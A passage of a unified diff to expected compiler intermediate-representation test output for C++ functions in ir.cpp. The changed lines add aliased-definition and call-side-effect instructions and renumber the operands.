v0_12(void) = UnmodeledUse : mu* +# 675| v0_13(void) = ExitFunction : # 679| TakeReference() -> int & # 679| Block 0 # 679| v0_0(void) = EnterFunction : -# 679| mu0_1(unknown) = UnmodeledDefinition : -# 680| r0_2(glval) = VariableAddress[#return] : -# 680| r0_3(glval) = VariableAddress[g] : -# 680| m0_4(int &) = Store : r0_2, r0_3 -# 679| r0_5(glval) = VariableAddress[#return] : -# 679| v0_6(void) = ReturnValue : r0_5, m0_4 -# 679| v0_7(void) = UnmodeledUse : mu* -# 679| v0_8(void) = ExitFunction : +# 679| mu0_1(unknown) = AliasedDefinition : +# 679| mu0_2(unknown) = UnmodeledDefinition : +# 680| r0_3(glval) = VariableAddress[#return] : +# 680| r0_4(glval) = VariableAddress[g] : +# 680| m0_5(int &) = Store : r0_3, r0_4 +# 679| r0_6(glval) = VariableAddress[#return] : +# 679| v0_7(void) = ReturnValue : r0_6, m0_5 +# 679| v0_8(void) = UnmodeledUse : mu* +# 679| v0_9(void) = ExitFunction : # 685| InitReference(int) -> void # 685| Block 0 # 685| v0_0(void) = EnterFunction : -# 685| mu0_1(unknown) = UnmodeledDefinition : -# 685| r0_2(glval) = VariableAddress[x] : -# 685| mu0_3(int) = InitializeParameter[x] : r0_2 -# 686| r0_4(glval) = VariableAddress[r] : -# 686| r0_5(glval) = VariableAddress[x] : -# 686| m0_6(int &) = Store : r0_4, r0_5 -# 687| r0_7(glval) = VariableAddress[r2] : -# 687| r0_8(glval) = VariableAddress[r] : -# 687| r0_9(int &) = Load : r0_8, m0_6 -# 687| m0_10(int &) = Store : r0_7, r0_9 -# 688| r0_11(glval) = VariableAddress[r3] : -# 688| r0_12(glval) = FunctionAddress[ReturnReference] : -# 688| r0_13(String &) = Call : r0_12 -# 688| r0_14(glval) = Convert : r0_13 -# 688| m0_15(String &) = Store : r0_11, r0_14 -# 689| v0_16(void) = NoOp : -# 685| v0_17(void) = ReturnVoid : -# 685| v0_18(void) = UnmodeledUse : mu* -# 685| v0_19(void) = ExitFunction : +# 685| mu0_1(unknown) = AliasedDefinition : +# 685| mu0_2(unknown) = UnmodeledDefinition : +# 685| r0_3(glval) = VariableAddress[x] : +# 685| mu0_4(int) = InitializeParameter[x] : r0_3 +# 686| r0_5(glval) = VariableAddress[r] : +# 686| r0_6(glval) = VariableAddress[x] : +# 686| m0_7(int &) = Store : r0_5, r0_6 +# 687| r0_8(glval) = VariableAddress[r2] : +# 687| r0_9(glval) = VariableAddress[r] : +# 687| r0_10(int &) = Load : r0_9, m0_7 +# 687| m0_11(int &) = Store : r0_8, r0_10 +# 688| r0_12(glval) = VariableAddress[r3] : +# 688| r0_13(glval) = FunctionAddress[ReturnReference] : +# 688| r0_14(String &) = Call : r0_13 +# 688| mu0_15(unknown) = ^CallSideEffect : mu0_2 +# 688| r0_16(glval) = Convert : r0_14 +# 688| m0_17(String &) = Store : r0_12, r0_16 +# 689| v0_18(void) = NoOp : +# 685| v0_19(void) = ReturnVoid : +# 685| v0_20(void) = UnmodeledUse : mu* +# 685| v0_21(void) = ExitFunction : # 691| ArrayReferences() -> void # 691| Block 0 # 691| v0_0(void) = EnterFunction : -# 691| mu0_1(unknown) = UnmodeledDefinition : -# 692| r0_2(glval) = VariableAddress[a] : -# 692| mu0_3(int[10]) = Uninitialized : r0_2 -# 693| r0_4(glval) = VariableAddress[ra] : -# 693| r0_5(glval) = VariableAddress[a] : -# 693| m0_6(int(&)[10]) = Store : r0_4, r0_5 -# 694| r0_7(glval) = VariableAddress[x] : -# 694| r0_8(glval) = VariableAddress[ra] : -# 694| r0_9(int(&)[10]) = Load : r0_8, m0_6 -# 694| r0_10(int *) = Convert : r0_9 -# 694| r0_11(int) = Constant[5] : -# 694| r0_12(int *) = PointerAdd[4] : r0_10, r0_11 -# 694| r0_13(int) = Load : r0_12, mu0_1 -# 694| m0_14(int) = Store : r0_7, r0_13 -# 695| v0_15(void) = NoOp : -# 691| v0_16(void) = ReturnVoid : -# 691| v0_17(void) = UnmodeledUse : mu* -# 691| v0_18(void) = ExitFunction : +# 691| mu0_1(unknown) = AliasedDefinition : +# 691| mu0_2(unknown) = UnmodeledDefinition : +# 692| r0_3(glval) = VariableAddress[a] : +# 692| mu0_4(int[10]) = Uninitialized[a] : r0_3 +# 693| r0_5(glval) = VariableAddress[ra] : +# 693| r0_6(glval) = VariableAddress[a] : +# 693| m0_7(int(&)[10]) = Store : r0_5, r0_6 +# 694| r0_8(glval) = VariableAddress[x] : +# 694| r0_9(glval) = VariableAddress[ra] : +# 694| r0_10(int(&)[10]) = Load : r0_9, m0_7 +# 694| r0_11(int *) = Convert : r0_10 +# 694| r0_12(int) = Constant[5] : +# 694| r0_13(int *) = PointerAdd[4] : r0_11, r0_12 +# 694| r0_14(int) = Load : r0_13, mu0_2 +# 694| m0_15(int) = Store : r0_8, r0_14 +# 695| v0_16(void) = NoOp : +# 691| v0_17(void) = ReturnVoid : +# 691| v0_18(void) = UnmodeledUse : mu* +# 691| v0_19(void) = ExitFunction : # 697| FunctionReferences() -> void # 697| Block 0 -# 697| v0_0(void) = EnterFunction : -# 697| mu0_1(unknown) = UnmodeledDefinition : -# 698| r0_2(glval<..(&)(..)>) = VariableAddress[rfn] : -# 698| r0_3(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : -# 698| m0_4(..(&)(..)) = Store : r0_2, r0_3 -# 699| r0_5(glval<..(*)(..)>) = VariableAddress[pfn] : -# 699| r0_6(glval<..(&)(..)>) = VariableAddress[rfn] : -# 699| r0_7(..(&)(..)) = Load : r0_6, m0_4 -# 699| m0_8(..(*)(..)) = Store : r0_5, r0_7 -# 700| r0_9(glval<..(&)(..)>) = VariableAddress[rfn] : -# 700| r0_10(..(&)(..)) = Load : r0_9, m0_4 -# 700| r0_11(int) = Constant[5] : -# 700| r0_12(int) = Call : r0_10, r0_11 -# 701| v0_13(void) = NoOp : -# 697| v0_14(void) = ReturnVoid : -# 697| v0_15(void) = UnmodeledUse : mu* -# 697| v0_16(void) = ExitFunction : +# 697| v0_0(void) = EnterFunction : +# 697| mu0_1(unknown) = AliasedDefinition : +# 697| mu0_2(unknown) = UnmodeledDefinition : +# 698| r0_3(glval<..(&)(..)>) = VariableAddress[rfn] : +# 698| r0_4(glval<..()(..)>) = FunctionAddress[FuncPtrTarget] : +# 698| m0_5(..(&)(..)) = Store : r0_3, r0_4 +# 699| r0_6(glval<..(*)(..)>) = VariableAddress[pfn] : +# 699| r0_7(glval<..(&)(..)>) = VariableAddress[rfn] : +# 699| r0_8(..(&)(..)) = Load : r0_7, m0_5 +# 699| m0_9(..(*)(..)) = Store : r0_6, r0_8 +# 700| r0_10(glval<..(&)(..)>) = VariableAddress[rfn] : +# 700| r0_11(..(&)(..)) = Load : r0_10, m0_5 +# 700| r0_12(int) = Constant[5] : +# 700| r0_13(int) = Call : r0_11, r0_12 +# 700| mu0_14(unknown) = ^CallSideEffect : mu0_2 +# 701| v0_15(void) = NoOp : +# 697| v0_16(void) = ReturnVoid : +# 697| v0_17(void) = UnmodeledUse : mu* +# 697| v0_18(void) = ExitFunction : # 704| min(int, int) -> int # 704| Block 0 -# 704| v0_0(void) = EnterFunction : -# 704| mu0_1(unknown) = UnmodeledDefinition : -# 704| r0_2(glval) = VariableAddress[x] : -# 704| m0_3(int) = InitializeParameter[x] : r0_2 -# 704| r0_4(glval) = VariableAddress[y] : -# 704| m0_5(int) = InitializeParameter[y] : r0_4 -# 705| r0_6(glval) = VariableAddress[#return] : -# 705| r0_7(glval) = VariableAddress[x] : -# 705| r0_8(int) = Load : r0_7, m0_3 -# 705| r0_9(glval) = VariableAddress[y] : -# 705| r0_10(int) = Load : r0_9, m0_5 -# 705| r0_11(bool) = CompareLT : r0_8, r0_10 -# 705| v0_12(void) = ConditionalBranch : r0_11 +# 704| v0_0(void) = EnterFunction : +# 704| mu0_1(unknown) = AliasedDefinition : +# 704| mu0_2(unknown) = UnmodeledDefinition : +# 704| r0_3(glval) = VariableAddress[x] : +# 704| m0_4(int) = InitializeParameter[x] : r0_3 +# 704| r0_5(glval) = VariableAddress[y] : +# 704| m0_6(int) = InitializeParameter[y] : r0_5 +# 705| r0_7(glval) = VariableAddress[#return] : +# 705| r0_8(glval) = VariableAddress[x] : +# 705| r0_9(int) = Load : r0_8, m0_4 +# 705| r0_10(glval) = VariableAddress[y] : +# 705| r0_11(int) = Load : r0_10, m0_6 +# 705| r0_12(bool) = CompareLT : r0_9, r0_11 +# 705| v0_13(void) = ConditionalBranch : r0_12 #-----| False -> Block 2 #-----| True -> Block 1 # 705| Block 1 # 705| r1_0(glval) = VariableAddress[x] : -# 705| r1_1(int) = Load : r1_0, m0_3 +# 705| r1_1(int) = Load : r1_0, m0_4 # 705| r1_2(glval) = VariableAddress[#temp705:10] : # 705| m1_3(int) = Store : r1_2, r1_1 #-----| Goto -> Block 3 # 705| Block 2 # 705| r2_0(glval) = VariableAddress[y] : -# 705| r2_1(int) = Load : r2_0, m0_5 +# 705| r2_1(int) = Load : r2_0, m0_6 # 705| r2_2(glval) = VariableAddress[#temp705:10] : # 705| m2_3(int) = Store : r2_2, r2_1 #-----| Goto -> Block 3 @@ -2932,7 +3000,7 @@ ir.cpp: # 705| m3_0(int) = Phi : from 1:m1_3, from 2:m2_3 # 705| r3_1(glval) = VariableAddress[#temp705:10] : # 705| r3_2(int) = Load : r3_1, m3_0 -# 705| m3_3(int) = Store : r0_6, r3_2 +# 705| m3_3(int) = Store : r0_7, r3_2 # 704| r3_4(glval) = VariableAddress[#return] : # 704| v3_5(void) = ReturnValue : r3_4, m3_3 # 704| v3_6(void) = UnmodeledUse : mu* @@ -2941,68 +3009,74 @@ ir.cpp: # 708| CallMin(int, int) -> int # 708| Block 0 # 708| v0_0(void) = EnterFunction : -# 708| mu0_1(unknown) = UnmodeledDefinition : -# 708| r0_2(glval) = VariableAddress[x] : -# 708| m0_3(int) = InitializeParameter[x] : r0_2 -# 708| r0_4(glval) = VariableAddress[y] : -# 708| m0_5(int) = InitializeParameter[y] : r0_4 -# 709| r0_6(glval) = VariableAddress[#return] : -# 709| r0_7(glval) = FunctionAddress[min] : -# 709| r0_8(glval) = VariableAddress[x] : -# 709| r0_9(int) = Load : r0_8, m0_3 -# 709| r0_10(glval) = VariableAddress[y] : -# 709| r0_11(int) = Load : r0_10, m0_5 -# 709| r0_12(int) = Call : r0_7, r0_9, r0_11 -# 709| m0_13(int) = Store : r0_6, r0_12 -# 708| r0_14(glval) = VariableAddress[#return] : -# 708| v0_15(void) = ReturnValue : r0_14, m0_13 -# 708| v0_16(void) = UnmodeledUse : mu* -# 708| v0_17(void) = ExitFunction : +# 708| mu0_1(unknown) = AliasedDefinition : +# 708| mu0_2(unknown) = UnmodeledDefinition : +# 708| r0_3(glval) = VariableAddress[x] : +# 708| m0_4(int) = InitializeParameter[x] : r0_3 +# 708| r0_5(glval) = VariableAddress[y] : +# 708| m0_6(int) = InitializeParameter[y] : r0_5 +# 709| r0_7(glval) = VariableAddress[#return] : +# 709| r0_8(glval) = FunctionAddress[min] : +# 709| r0_9(glval) = VariableAddress[x] : +# 709| r0_10(int) = Load : r0_9, m0_4 +# 709| r0_11(glval) = VariableAddress[y] : +# 709| r0_12(int) = Load : r0_11, m0_6 +# 709| r0_13(int) = Call : r0_8, r0_10, r0_12 +# 709| mu0_14(unknown) = ^CallSideEffect : mu0_2 +# 709| m0_15(int) = Store : r0_7, r0_13 +# 708| r0_16(glval) = VariableAddress[#return] : +# 708| v0_17(void) = ReturnValue : r0_16, m0_15 +# 708| v0_18(void) = UnmodeledUse : mu* +# 708| v0_19(void) = ExitFunction : # 715| Outer::Func(void *, char) -> long # 715| Block 0 # 715| v0_0(void) = EnterFunction : -# 715| mu0_1(unknown) = UnmodeledDefinition : -# 715| r0_2(glval) = VariableAddress[x] : -# 715| m0_3(void *) = InitializeParameter[x] : r0_2 -# 715| r0_4(glval) = VariableAddress[y] : -# 715| m0_5(char) = InitializeParameter[y] : r0_4 -# 716| r0_6(glval) = VariableAddress[#return] : -# 716| r0_7(long) = Constant[0] : -# 716| m0_8(long) = Store : r0_6, r0_7 -# 715| r0_9(glval) = VariableAddress[#return] : -# 715| v0_10(void) = ReturnValue : r0_9, m0_8 -# 715| v0_11(void) = UnmodeledUse : mu* -# 715| v0_12(void) = ExitFunction : +# 715| mu0_1(unknown) = AliasedDefinition : +# 715| mu0_2(unknown) = UnmodeledDefinition : +# 715| r0_3(glval) = VariableAddress[x] : +# 715| m0_4(void *) = InitializeParameter[x] : r0_3 +# 715| r0_5(glval) = VariableAddress[y] : +# 715| m0_6(char) = InitializeParameter[y] : r0_5 +# 716| r0_7(glval) = VariableAddress[#return] : +# 716| r0_8(long) = Constant[0] : +# 716| m0_9(long) = Store : r0_7, r0_8 +# 715| r0_10(glval) = VariableAddress[#return] : +# 715| v0_11(void) = ReturnValue : r0_10, m0_9 +# 715| v0_12(void) = UnmodeledUse : mu* +# 715| v0_13(void) = ExitFunction : # 720| CallNestedTemplateFunc() -> double # 720| Block 0 # 720| v0_0(void) = EnterFunction : -# 720| mu0_1(unknown) = UnmodeledDefinition : -# 721| r0_2(glval) = VariableAddress[#return] : -# 721| r0_3(glval) = FunctionAddress[Func] : -# 721| r0_4(void *) = Constant[0] : -# 721| r0_5(char) = Constant[111] : -# 721| r0_6(long) = Call : r0_3, r0_4, r0_5 -# 721| r0_7(double) = Convert : r0_6 -# 721| m0_8(double) = Store : r0_2, r0_7 -# 720| r0_9(glval) = VariableAddress[#return] : -# 720| v0_10(void) = ReturnValue : r0_9, m0_8 -# 720| v0_11(void) = UnmodeledUse : mu* -# 720| v0_12(void) = ExitFunction : +# 720| mu0_1(unknown) = AliasedDefinition : +# 720| mu0_2(unknown) = UnmodeledDefinition : +# 721| r0_3(glval) = VariableAddress[#return] : +# 721| r0_4(glval) = FunctionAddress[Func] : +# 721| r0_5(void *) = Constant[0] : +# 721| r0_6(char) = Constant[111] : +# 721| r0_7(long) = Call : r0_4, r0_5, r0_6 +# 721| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 721| r0_9(double) = Convert : r0_7 +# 721| m0_10(double) = Store : r0_3, r0_9 +# 720| r0_11(glval) = VariableAddress[#return] : +# 720| v0_12(void) = ReturnValue : r0_11, m0_10 +# 720| v0_13(void) = UnmodeledUse : mu* +# 720| v0_14(void) = ExitFunction : # 724| TryCatch(bool) -> void # 724| Block 0 # 724| v0_0(void) = EnterFunction : -# 724| mu0_1(unknown) = UnmodeledDefinition : -# 724| r0_2(glval) = VariableAddress[b] : -# 724| m0_3(bool) = InitializeParameter[b] : r0_2 -# 726| r0_4(glval) = VariableAddress[x] : -# 726| r0_5(int) = Constant[5] : -# 726| m0_6(int) = Store : r0_4, r0_5 -# 727| r0_7(glval) = VariableAddress[b] : -# 727| r0_8(bool) = Load : r0_7, m0_3 -# 727| v0_9(void) = ConditionalBranch : r0_8 +# 724| mu0_1(unknown) = AliasedDefinition : +# 724| mu0_2(unknown) = UnmodeledDefinition : +# 724| r0_3(glval) = VariableAddress[b] : +# 724| m0_4(bool) = InitializeParameter[b] : r0_3 +# 726| r0_5(glval) = VariableAddress[x] : +# 726| r0_6(int) = Constant[5] : +# 726| m0_7(int) = Store : r0_5, r0_6 +# 727| r0_8(glval) = VariableAddress[b] : +# 727| r0_9(bool) = Load : r0_8, m0_4 +# 727| v0_10(void) = ConditionalBranch : r0_9 #-----| False -> Block 4 #-----| True -> Block 3 @@ -3024,7 +3098,7 @@ ir.cpp: # 730| Block 4 # 730| r4_0(glval) = VariableAddress[x] : -# 730| r4_1(int) = Load : r4_0, m0_6 +# 730| r4_1(int) = Load : r4_0, m0_7 # 730| r4_2(int) = Constant[2] : # 730| r4_3(bool) = CompareLT : r4_1, r4_2 # 730| v4_4(void) = ConditionalBranch : r4_3 @@ -3033,7 +3107,7 @@ ir.cpp: # 731| Block 5 # 731| r5_0(glval) = VariableAddress[b] : -# 731| r5_1(bool) = Load : r5_0, m0_3 +# 731| r5_1(bool) = Load : r5_0, m0_4 # 731| v5_2(void) = ConditionalBranch : r5_1 #-----| False -> Block 7 #-----| True -> Block 6 @@ -3054,7 +3128,8 @@ ir.cpp: # 731| r7_2(glval) = StringConstant["String object"] : # 731| r7_3(char *) = Convert : r7_2 # 731| v7_4(void) = Call : r7_1, this:r7_0, r7_3 -# 731| v7_5(void) = ThrowValue : r7_0, mu0_1 +# 731| mu7_5(unknown) = ^CallSideEffect : mu0_2 +# 731| v7_6(void) = ThrowValue : r7_0, mu0_2 #-----| Exception -> Block 9 # 733| Block 8 @@ -3076,7 +3151,8 @@ ir.cpp: # 736| r10_4(glval) = VariableAddress[s] : # 736| r10_5(char *) = Load : r10_4, m10_1 # 736| v10_6(void) = Call : r10_3, this:r10_2, r10_5 -# 736| v10_7(void) = ThrowValue : r10_2, mu0_1 +# 736| mu10_7(unknown) = ^CallSideEffect : mu0_2 +# 736| v10_8(void) = ThrowValue : r10_2, mu0_2 #-----| Exception -> Block 2 # 738| Block 11 @@ -3103,936 +3179,1021 @@ ir.cpp: # 745| Base::Base(const Base &) -> void # 745| Block 0 # 745| v0_0(void) = EnterFunction : -# 745| mu0_1(unknown) = UnmodeledDefinition : -# 745| r0_2(glval) = InitializeThis : -#-----| r0_3(glval) = VariableAddress[p#0] : -#-----| m0_4(Base &) = InitializeParameter[p#0] : r0_3 -# 745| r0_5(glval) = FieldAddress[base_s] : r0_2 -# 745| r0_6(glval) = FunctionAddress[String] : -# 745| v0_7(void) = Call : r0_6, this:r0_5 -# 745| v0_8(void) = NoOp : -# 745| v0_9(void) = ReturnVoid : -# 745| v0_10(void) = UnmodeledUse : mu* -# 745| v0_11(void) = ExitFunction : +# 745| mu0_1(unknown) = AliasedDefinition : +# 745| mu0_2(unknown) = UnmodeledDefinition : +# 745| r0_3(glval) = InitializeThis : +#-----| r0_4(glval) = VariableAddress[p#0] : +#-----| m0_5(Base &) = InitializeParameter[p#0] : r0_4 +# 745| r0_6(glval) = FieldAddress[base_s] : r0_3 +# 745| r0_7(glval) = FunctionAddress[String] : +# 745| v0_8(void) = Call : r0_7, this:r0_6 +# 745| mu0_9(unknown) = ^CallSideEffect : mu0_2 +# 745| v0_10(void) = NoOp : +# 745| v0_11(void) = ReturnVoid : +# 745| v0_12(void) = UnmodeledUse : mu* +# 745| v0_13(void) = ExitFunction : # 745| Base::operator=(const Base &) -> Base & # 745| Block 0 # 745| v0_0(void) = EnterFunction : -# 745| mu0_1(unknown) = UnmodeledDefinition : -# 745| r0_2(glval) = InitializeThis : -#-----| r0_3(glval) = VariableAddress[p#0] : -#-----| m0_4(Base &) = InitializeParameter[p#0] : r0_3 -#-----| r0_5(Base *) = CopyValue : r0_2 -#-----| r0_6(glval) = FieldAddress[base_s] : r0_5 -# 745| r0_7(glval) = FunctionAddress[operator=] : -#-----| r0_8(glval) = VariableAddress[p#0] : -#-----| r0_9(Base &) = Load : r0_8, m0_4 -#-----| r0_10(glval) = FieldAddress[base_s] : r0_9 -# 745| r0_11(String &) = Call : r0_7, this:r0_6, r0_10 -#-----| r0_12(glval) = VariableAddress[#return] : -#-----| r0_13(Base *) = CopyValue : r0_2 -#-----| m0_14(Base &) = Store : r0_12, r0_13 -# 745| r0_15(glval) = VariableAddress[#return] : -# 745| v0_16(void) = ReturnValue : r0_15, m0_14 -# 745| v0_17(void) = UnmodeledUse : mu* -# 745| v0_18(void) = ExitFunction : +# 745| mu0_1(unknown) = AliasedDefinition : +# 745| mu0_2(unknown) = UnmodeledDefinition : +# 745| r0_3(glval) = InitializeThis : +#-----| r0_4(glval) = VariableAddress[p#0] : +#-----| m0_5(Base &) = InitializeParameter[p#0] : r0_4 +#-----| r0_6(Base *) = CopyValue : r0_3 +#-----| r0_7(glval) = FieldAddress[base_s] : r0_6 +# 745| r0_8(glval) = FunctionAddress[operator=] : +#-----| r0_9(glval) = VariableAddress[p#0] : +#-----| r0_10(Base &) = Load : r0_9, m0_5 +#-----| r0_11(glval) = FieldAddress[base_s] : r0_10 +# 745| r0_12(String &) = Call : r0_8, this:r0_7, r0_11 +# 745| mu0_13(unknown) = ^CallSideEffect : mu0_2 +#-----| r0_14(glval) = VariableAddress[#return] : +#-----| r0_15(Base *) = CopyValue : r0_3 +#-----| m0_16(Base &) = Store : r0_14, r0_15 +# 745| r0_17(glval) = VariableAddress[#return] : +# 745| v0_18(void) = ReturnValue : r0_17, m0_16 +# 745| v0_19(void) = UnmodeledUse : mu* +# 745| v0_20(void) = ExitFunction : # 748| Base::Base() -> void # 748| Block 0 # 748| v0_0(void) = EnterFunction : -# 748| mu0_1(unknown) = UnmodeledDefinition : -# 748| r0_2(glval) = InitializeThis : -# 748| r0_3(glval) = FieldAddress[base_s] : r0_2 -# 748| r0_4(glval) = FunctionAddress[String] : -# 748| v0_5(void) = Call : r0_4, this:r0_3 -# 749| v0_6(void) = NoOp : -# 748| v0_7(void) = ReturnVoid : -# 748| v0_8(void) = UnmodeledUse : mu* -# 748| v0_9(void) = ExitFunction : +# 748| mu0_1(unknown) = AliasedDefinition : +# 748| mu0_2(unknown) = UnmodeledDefinition : +# 748| r0_3(glval) = InitializeThis : +# 748| r0_4(glval) = FieldAddress[base_s] : r0_3 +# 748| r0_5(glval) = FunctionAddress[String] : +# 748| v0_6(void) = Call : r0_5, this:r0_4 +# 748| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 749| v0_8(void) = NoOp : +# 748| v0_9(void) = ReturnVoid : +# 748| v0_10(void) = UnmodeledUse : mu* +# 748| v0_11(void) = ExitFunction : # 750| Base::~Base() -> void # 750| Block 0 # 750| v0_0(void) = EnterFunction : -# 750| mu0_1(unknown) = UnmodeledDefinition : -# 750| r0_2(glval) = InitializeThis : -# 751| v0_3(void) = NoOp : -# 751| r0_4(glval) = FieldAddress[base_s] : r0_2 -# 751| r0_5(glval) = FunctionAddress[~String] : -# 751| v0_6(void) = Call : r0_5, this:r0_4 -# 750| v0_7(void) = ReturnVoid : -# 750| v0_8(void) = UnmodeledUse : mu* -# 750| v0_9(void) = ExitFunction : +# 750| mu0_1(unknown) = AliasedDefinition : +# 750| mu0_2(unknown) = UnmodeledDefinition : +# 750| r0_3(glval) = InitializeThis : +# 751| v0_4(void) = NoOp : +# 751| r0_5(glval) = FieldAddress[base_s] : r0_3 +# 751| r0_6(glval) = FunctionAddress[~String] : +# 751| v0_7(void) = Call : r0_6, this:r0_5 +# 751| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 750| v0_9(void) = ReturnVoid : +# 750| v0_10(void) = UnmodeledUse : mu* +# 750| v0_11(void) = ExitFunction : # 754| Middle::operator=(const Middle &) -> Middle & # 754| Block 0 # 754| v0_0(void) = EnterFunction : -# 754| mu0_1(unknown) = UnmodeledDefinition : -# 754| r0_2(glval) = InitializeThis : -#-----| r0_3(glval) = VariableAddress[p#0] : -#-----| m0_4(Middle &) = InitializeParameter[p#0] : r0_3 -#-----| r0_5(Middle *) = CopyValue : r0_2 -#-----| r0_6(Base *) = ConvertToBase[Middle : Base] : r0_5 -# 754| r0_7(glval) = FunctionAddress[operator=] : -#-----| r0_8(glval) = VariableAddress[p#0] : -#-----| r0_9(Middle &) = Load : r0_8, m0_4 -#-----| r0_10(Base *) = ConvertToBase[Middle : Base] : r0_9 -# 754| r0_11(Base &) = Call : r0_7, this:r0_6, r0_10 -#-----| r0_12(Middle *) = CopyValue : r0_2 -#-----| r0_13(glval) = FieldAddress[middle_s] : r0_12 -# 754| r0_14(glval) = FunctionAddress[operator=] : -#-----| r0_15(glval) = VariableAddress[p#0] : -#-----| r0_16(Middle &) = Load : r0_15, m0_4 -#-----| r0_17(glval) = FieldAddress[middle_s] : r0_16 -# 754| r0_18(String &) = Call : r0_14, this:r0_13, r0_17 -#-----| r0_19(glval) = VariableAddress[#return] : -#-----| r0_20(Middle *) = CopyValue : r0_2 -#-----| m0_21(Middle &) = Store : r0_19, r0_20 -# 754| r0_22(glval) = VariableAddress[#return] : -# 754| v0_23(void) = ReturnValue : r0_22, m0_21 -# 754| v0_24(void) = UnmodeledUse : mu* -# 754| v0_25(void) = ExitFunction : +# 754| mu0_1(unknown) = AliasedDefinition : +# 754| mu0_2(unknown) = UnmodeledDefinition : +# 754| r0_3(glval) = InitializeThis : +#-----| r0_4(glval) = VariableAddress[p#0] : +#-----| m0_5(Middle &) = InitializeParameter[p#0] : r0_4 +#-----| r0_6(Middle *) = CopyValue : r0_3 +#-----| r0_7(Base *) = ConvertToBase[Middle : Base] : r0_6 +# 754| r0_8(glval) = FunctionAddress[operator=] : +#-----| r0_9(glval) = VariableAddress[p#0] : +#-----| r0_10(Middle &) = Load : r0_9, m0_5 +#-----| r0_11(Base *) = ConvertToBase[Middle : Base] : r0_10 +# 754| r0_12(Base &) = Call : r0_8, this:r0_7, r0_11 +# 754| mu0_13(unknown) = ^CallSideEffect : mu0_2 +#-----| r0_14(Middle *) = CopyValue : r0_3 +#-----| r0_15(glval) = FieldAddress[middle_s] : r0_14 +# 754| r0_16(glval) = FunctionAddress[operator=] : +#-----| r0_17(glval) = VariableAddress[p#0] : +#-----| r0_18(Middle &) = Load : r0_17, m0_5 +#-----| r0_19(glval) = FieldAddress[middle_s] : r0_18 +# 754| r0_20(String &) = Call : r0_16, this:r0_15, r0_19 +# 754| mu0_21(unknown) = ^CallSideEffect : mu0_2 +#-----| r0_22(glval) = VariableAddress[#return] : +#-----| r0_23(Middle *) = CopyValue : r0_3 +#-----| m0_24(Middle &) = Store : r0_22, r0_23 +# 754| r0_25(glval) = VariableAddress[#return] : +# 754| v0_26(void) = ReturnValue : r0_25, m0_24 +# 754| v0_27(void) = UnmodeledUse : mu* +# 754| v0_28(void) = ExitFunction : # 757| Middle::Middle() -> void # 757| Block 0 # 757| v0_0(void) = EnterFunction : -# 757| mu0_1(unknown) = UnmodeledDefinition : -# 757| r0_2(glval) = InitializeThis : -# 757| r0_3(glval) = ConvertToBase[Middle : Base] : r0_2 -# 757| r0_4(glval) = FunctionAddress[Base] : -# 757| v0_5(void) = Call : r0_4, this:r0_3 -# 757| r0_6(glval) = FieldAddress[middle_s] : r0_2 -# 757| r0_7(glval) = FunctionAddress[String] : -# 757| v0_8(void) = Call : r0_7, this:r0_6 -# 758| v0_9(void) = NoOp : -# 757| v0_10(void) = ReturnVoid : -# 757| v0_11(void) = UnmodeledUse : mu* -# 757| v0_12(void) = ExitFunction : +# 757| mu0_1(unknown) = AliasedDefinition : +# 757| mu0_2(unknown) = UnmodeledDefinition : +# 757| r0_3(glval) = InitializeThis : +# 757| r0_4(glval) = ConvertToBase[Middle : Base] : r0_3 +# 757| r0_5(glval) = FunctionAddress[Base] : +# 757| v0_6(void) = Call : r0_5, this:r0_4 +# 757| mu0_7(unknown) = ^CallSideEffect : mu0_2 +# 757| r0_8(glval) = FieldAddress[middle_s] : r0_3 +# 757| r0_9(glval) = FunctionAddress[String] : +# 757| v0_10(void) = Call : r0_9, this:r0_8 +# 757| mu0_11(unknown) = ^CallSideEffect : mu0_2 +# 758| v0_12(void) = NoOp : +# 757| v0_13(void) = ReturnVoid : +# 757| v0_14(void) = UnmodeledUse : mu* +# 757| v0_15(void) = ExitFunction : # 759| Middle::~Middle() -> void # 759| Block 0 -# 759| v0_0(void) = EnterFunction : -# 759| mu0_1(unknown) = UnmodeledDefinition : -# 759| r0_2(glval) = InitializeThis : -# 760| v0_3(void) = NoOp : -# 760| r0_4(glval) = FieldAddress[middle_s] : r0_2 -# 760| r0_5(glval) = FunctionAddress[~String] : -# 760| v0_6(void) = Call : r0_5, this:r0_4 -# 760| r0_7(glval) = ConvertToBase[Middle : Base] : r0_2 -# 760| r0_8(glval) = FunctionAddress[~Base] : -# 760| v0_9(void) = Call : r0_8, this:r0_7 -# 759| v0_10(void) = ReturnVoid : -# 759| v0_11(void) = UnmodeledUse : mu* -# 759| v0_12(void) = ExitFunction : +# 759| v0_0(void) = EnterFunction : +# 759| mu0_1(unknown) = AliasedDefinition : +# 759| mu0_2(unknown) = UnmodeledDefinition : +# 759| r0_3(glval) = InitializeThis : +# 760| v0_4(void) = NoOp : +# 760| r0_5(glval) = FieldAddress[middle_s] : r0_3 +# 760| r0_6(glval) = FunctionAddress[~String] : +# 760| v0_7(void) = Call : r0_6, this:r0_5 +# 760| mu0_8(unknown) = ^CallSideEffect : mu0_2 +# 760| r0_9(glval) = ConvertToBase[Middle : Base] : r0_3 +# 760| r0_10(glval) = FunctionAddress[~Base] : +# 760| v0_11(void) = Call : r0_10, this:r0_9 +# 760| mu0_12(unknown) = ^CallSideEffect : mu0_2 +# 759| v0_13(void) = ReturnVoid : +# 759| v0_14(void) = UnmodeledUse : mu* +# 759| v0_15(void) = ExitFunction : # 763| Derived::operator=(const Derived &) -> Derived & # 763| Block 0 # 763| v0_0(void) = EnterFunction : -# 763| mu0_1(unknown) = UnmodeledDefinition : -# 763| r0_2(glval) = InitializeThis : -#-----| r0_3(glval) = VariableAddress[p#0] : -#-----| m0_4(Derived &) = InitializeParameter[p#0] : r0_3 -#-----| r0_5(Derived *) = CopyValue : r0_2 -#-----| r0_6(Middle *) = ConvertToBase[Derived : Middle] : r0_5 -# 763| r0_7(glval) = FunctionAddress[operator=] : -#-----| r0_8(glval) = VariableAddress[p#0] : -#-----| r0_9(Derived &) = Load : r0_8, m0_4 -#-----| r0_10(Middle *) = ConvertToBase[Derived : Middle] : r0_9 -# 763| r0_11(Middle &) = Call : r0_7, this:r0_6, r0_10 -#-----| r0_12(Derived *) = CopyValue : r0_2 -#-----| r0_13(glval) = FieldAddress[derived_s] : r0_12 -# 763| r0_14(glval) = FunctionAddress[operator=] : -#-----| r0_15(glval) = VariableAddress[p#0] : 